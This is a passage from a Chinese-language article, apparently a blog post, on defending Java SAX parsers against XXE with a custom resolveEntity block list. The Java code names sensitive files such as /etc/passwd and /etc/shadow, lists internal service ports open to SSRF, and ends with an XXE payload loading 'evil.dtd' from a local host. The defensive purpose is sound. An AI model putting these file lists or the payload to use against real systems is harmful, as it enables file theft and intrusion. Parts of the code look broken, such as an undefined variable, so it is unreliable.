class="code-snippet_outer">应用程序接收有关正在处理的XML文档的事件通知元素和属性，从文档顶部开始按</span></code><code><span class="code-snippet_outer">顺序排列，然后关闭ROOT元素。</span></code></pre></section><p>SAXParser是事件驱动型的Parser，这意味着我们可以自定义各个元素的处理逻辑，同样我们主要关注Entity的处理部分：</p><p>参考如下代码：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">saxtest</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>)</span> {</span></code><code><span class="code-snippet_outer">        saxXml();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">saxXml</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> startTime = System.currentTimeMillis();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// step 1: 获得SAX解析器工厂实例</span></span></code><code><span class="code-snippet_outer">            SAXParserFactory factory = SAXParserFactory.newInstance();</span></code><code><span class="code-snippet_outer">            SecurityManager securityManager =<span class="code-snippet__keyword">new</span> SecurityManager();</span></code><code><span class="code-snippet_outer">            securityManager.setEntityExpansionLimit(<span class="code-snippet__number">4</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// step 2: 获得SAX解析器实例</span></span></code><code><span class="code-snippet_outer">            SAXParser parser = factory.newSAXParser();</span></code><code><span class="code-snippet_outer">            parser.setProperty(<span class="code-snippet__string">&#34;<a href="http://apache.org/xml/properties/security-manager" target="_blank">http://apache.org/xml/properties/security-manager</a>&#34;</span>, securityManager);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//反射修改白名单</span></span></code><code><span class="code-snippet_outer">            String[] wlist =  (String[])getField(getField(parser,<span class="code-snippet__string">&#34;fSecurityPropertyMgr&#34;</span>),<span class="code-snippet__string">&#34;values&#34;</span>);</span></code><code><span class="code-snippet_outer">            wlist[<span class="code-snippet__number">0</span>] = <span class="code-snippet__string">&#34;http,file,war&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// step 3: 开始进行解析</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// 传入待解析的文档的处理器</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            File file = <span class="code-snippet__keyword">new</span> File(<span class="code-snippet__string">&#34;/test/src/main/java/com/example/test/123.xml&#34;</span>);</span></code><code><span class="code-snippet_outer">            FileInputStream fileInputStream = <span class="code-snippet__keyword">new</span> FileInputStream(file);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            parser.parse(data, <span class="code-snippet__keyword">new</span> MyHandler());</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">catch</span> (Exception e)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">long</span> endTime = System.currentTimeMillis();</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;运行时间:&#34;</span> + (endTime - startTime) + <span class="code-snippet__string">&#34;ms&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">MyHandler</span> <span class="code-snippet__title">extends</span> <span class="code-snippet__title">DefaultHandler</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">int</span> count = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">private</span> String <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        @<span class="code-snippet__function">Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">startElement</span>(<span class="code-snippet__params">String uri,</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">                                 String localName, String qName, Attributes attributes</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//遍历整个xml文件</span></span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;&lt;&#34;</span> + qName);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> len = attributes.getLength();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; len; i++)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(attributes.getQName(i) + <span class="code-snippet__string">&#34;=&#34;</span> + attributes.getValue(i));<span class="code-snippet__comment">//得到节点的属性信息</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        @<span class="code-snippet__function">Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> InputSource <span class="code-snippet__title">resolveEntity</span> (<span class="code-snippet__params">String publicId, String systemId</span>)</span></code><code><span class="code-snippet_outer">                throws IOException, SAXException</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            String str = <span class="code-snippet__string">&#34;&lt;!ENTITY test \&#34;pass!\&#34;&gt;&#34;</span>;</span></code><code><span class="code-snippet_outer">            InputStream <span class="code-snippet__keyword">is</span> = <span class="code-snippet__keyword">new</span> ByteArrayInputStream(str.getBytes());</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">int</span> first = systemId.indexOf(<span class="code-snippet__string">&#34;:&#34;</span>);</span></code><code><span class="code-snippet_outer">            String protocol = systemId.substring(<span class="code-snippet__number">0</span>,first);</span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(systemId);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span> (protocol){</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#34;file&#34;</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> a=<span class="code-snippet__number">0</span>; a&lt;list1.length; a++) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">if</span> (systemId.contains(list1[a])) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__comment">//替换协议头使解析逻辑报错</span></span></code><code><span class="code-snippet_outer">                            systemId = systemId.replaceFirst(<span class="code-snippet__string">&#34;file&#34;</span>, <span class="code-snippet__string">&#34;ban&#34;</span>);</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">//设置stream使其不进行url解析</span></span></code><code><span class="code-snippet_outer">                    InputSource inputSource1 = <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">                    inputSource1.setByteStream(<span class="code-snippet__keyword">is</span>);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> inputSource1;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#34;http&#34;</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> a=<span class="code-snippet__number">0</span>; a&lt;list2.length; a++) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (systemId.contains(list2[a])) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">//替换协议头使解析逻辑报错</span></span></code><code><span class="code-snippet_outer">                    systemId = systemId.replaceFirst(<span class="code-snippet__string">&#34;http&#34;</span>, <span class="code-snippet__string">&#34;ban&#34;</span>);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//设置stream使其不进行url解析</span></span></code><code><span class="code-snippet_outer">            InputSource inputSource2 = <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">            inputSource2.setByteStream(<span class="code-snippet__keyword">is</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> inputSource2;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        @<span class="code-snippet__function">Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">characters</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">char</span> ch[], <span class="code-snippet__keyword">int</span> start, <span class="code-snippet__keyword">int</span> length</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            String str = <span class="code-snippet__keyword">new</span> String(ch, start, length);<span class="code-snippet__comment">// 将当前TextNode转换为String</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!<span class="code-snippet__string">&#34;\n&#34;</span>.<span class="code-snippet__keyword">equals</span>(str))</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">//value = str;</span></span></code><code><span class="code-snippet_outer">                System.<span class="code-snippet__keyword">out</span>.println(String.valueOf(ch)+<span class="code-snippet__string">&#34; &#34;</span>+str);<span class="code-snippet__comment">//&#34;当前节点中的值===&gt;&#34; +</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        @<span class="code-snippet__function">Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">endElement</span>(<span class="code-snippet__params">String uri,</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">                               String localName, String qName</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;&lt;/&#34;</span> + qName + <span class="code-snippet__string">&#34;&gt;&#34;</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span>  <span class="code-snippet__keyword">static</span> Object <span class="code-snippet__title">getField</span>(<span class="code-snippet__params">Object <span class="code-snippet__keyword">object</span>, String fieldName</span>)</span> {</span></code><code><span class="code-snippet_outer">        Field declaredField;</span></code><code><span class="code-snippet_outer">        Class clazz = <span class="code-snippet__keyword">object</span>.getClass();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> (clazz != Object.class) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                declaredField = clazz.getDeclaredField(fieldName);</span></code><code><span class="code-snippet_outer">                declaredField.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> declaredField.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__keyword">object</span>);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            clazz = clazz.getSuperclass();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String[] list1 = <span class="code-snippet__keyword">new</span> String[]{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/group&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/httpd/httpd.conf&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/issue&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/issue/net&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/ssh/ssh_config&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/termcap&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/xinetd.d&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/mtab&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/vsftpd/vsftpd.conf&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/xinetd.conf&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/protocols&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/logrotate.conf&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/ld.so.conf&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/wgetrc&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/passwd&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/etc/shadow&#34;</span>,</span></code><code><span class="code-snippet_outer">             .......</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> String[] list2 = <span class="code-snippet__keyword">new</span> String[]{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//redis 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:6379&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Elasticsearch 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_cat/indices&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_cat/indices&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_river/_search&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_river/_search&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_nodes&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_nodes&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200/_plugin/head/&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;/_plugin/head&#34;</span>,</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:9200&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//MenCache 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:11211&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Mongodb 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:27017&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//Zookeeper 未授权访问</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__string">&#34;:2181&#34;</span>,</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">      .......</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">};</span></code></pre></section><p>XMLDTDScanner会调用XMLEntityManager来处理Entity，这里会有一个外部引用的判断：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=8213c86d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uza9m5vb4gsGib5zxRHxpUTFDXedSVobZfVSx1uuTYDrL2gad7UKYGO29A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=2dd97b78&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaYKKlLZjFoB9YqV4L3xVckTtM0UbBXicbvN31eIDHGNLhxOrHJ3d0SDQ%2F640%3Fwx_fmt%3Dpng"/></p><p>调用wrapper：</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=0c8624ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uza0Z4wcKC2wicUfbmsCyUPrwxzoLZiay5XouCWibiaHe5qL3O5RZ1SwlmeOQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="text-align: justify;">最终会调用我们自定义handler中重写的resolveEntity方法：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=7b345e7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaXNJNVzpOa7Uk1YBnapTb10DibSAKYML5fibIjDAacfW667ia5RaicuFKlw%2F640%3Fwx_fmt%3Dpng"/></p><p>demo如下：<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">@<span class="code-snippet__function">Override</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> InputSource <span class="code-snippet__title">resolveEntity</span> (<span class="code-snippet__params">String publicId, String systemId</span>)</span></code><code><span class="code-snippet_outer">        throws IOException, SAXException</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    String str = <span class="code-snippet__string">&#34;&lt;!ENTITY test \&#34;pass!\&#34;&gt;&#34;</span>;</span></code><code><span class="code-snippet_outer">    InputStream <span class="code-snippet__keyword">is</span> = <span class="code-snippet__keyword">new</span> ByteArrayInputStream(str.getBytes());</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">int</span> first = systemId.indexOf(<span class="code-snippet__string">&#34;:&#34;</span>);</span></code><code><span class="code-snippet_outer">    String protocol = systemId.substring(<span class="code-snippet__number">0</span>,first);</span></code><code><span class="code-snippet_outer">    System.<span class="code-snippet__keyword">out</span>.println(systemId);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">switch</span> (protocol){</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#34;file&#34;</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> a=<span class="code-snippet__number">0</span>; a&lt;list1.length; a++) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (systemId.contains(list1[a])) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">//替换协议头使解析逻辑报错</span></span></code><code><span class="code-snippet_outer">                    systemId = systemId.replaceFirst(<span class="code-snippet__string">&#34;file&#34;</span>, <span class="code-snippet__string">&#34;ban&#34;</span>);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//设置stream使其不进行url解析</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            InputSource inputSource1 = new InputSource(systemId);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            inputSource1.setByteStream(is);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            return inputSource1;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#34;http&#34;</span>:</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> a=<span class="code-snippet__number">0</span>; a&lt;list2.length; a++) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (systemId.contains(list2[a])) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//替换协议头使解析逻辑报错</span></span></code><code><span class="code-snippet_outer">            systemId = systemId.replaceFirst(<span class="code-snippet__string">&#34;http&#34;</span>, <span class="code-snippet__string">&#34;ban&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">//设置stream使其不进行url解析</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    InputSource inputSource2 = new InputSource(systemId);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    inputSource2.setByteStream(is);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//    return inputSource2;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> InputSource(systemId);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><section style="line-height: normal;">大概逻辑为，将根据不同协议的黑名单来检测systemID中的字段。</section><section style="line-height: normal;">若存在黑名单字段则替换协议头使其在下一步进行getStreamhandler查找时抛出异常。</section><section style="line-height: normal;">若不存在则正常返回InputSource（或者直接自定义返回一段InputStream跳过url解析，看具体用途）。</section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=e586dd2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaREjoustwDQh9nFGEcdBkaicBUL6iaRhzFXM8iah729tUiaQcLEhlo0zKBw%2F640%3Fwx_fmt%3Dpng"/></p><p>最终实现的效果如下：<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">//payload</span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;!DOCTYPE x [</span></span></code><code><span class="code-snippet_outer">        &lt;!ELEMENT name ANY &gt;</span></code><code><span class="code-snippet_outer">        &lt;!ENTITY % xxe SYSTEM &#34;<a href="http://127.0.0.1:4444/123.dtd" target="_blank">http://127.0.0.1:4444/123.dtd</a>&#34; &gt;</span></code><code><span class="code-snippet_outer">        &lt;!ENTITY % xxe1 SYSTEM &#34;<a href="http://127.0.0.1:4444/evil.dtd" target="_blank">http://127.0.0.1:4444/evil.dtd</a>&#34; &gt;</span></code><code><span class="code-snippet_outer">        %xxe;</span></code><code><span class="code-snippet_outer">        %xxe1;</span></code><code><span class="code-snippet_outer">        ]&gt;</span></code><code><span 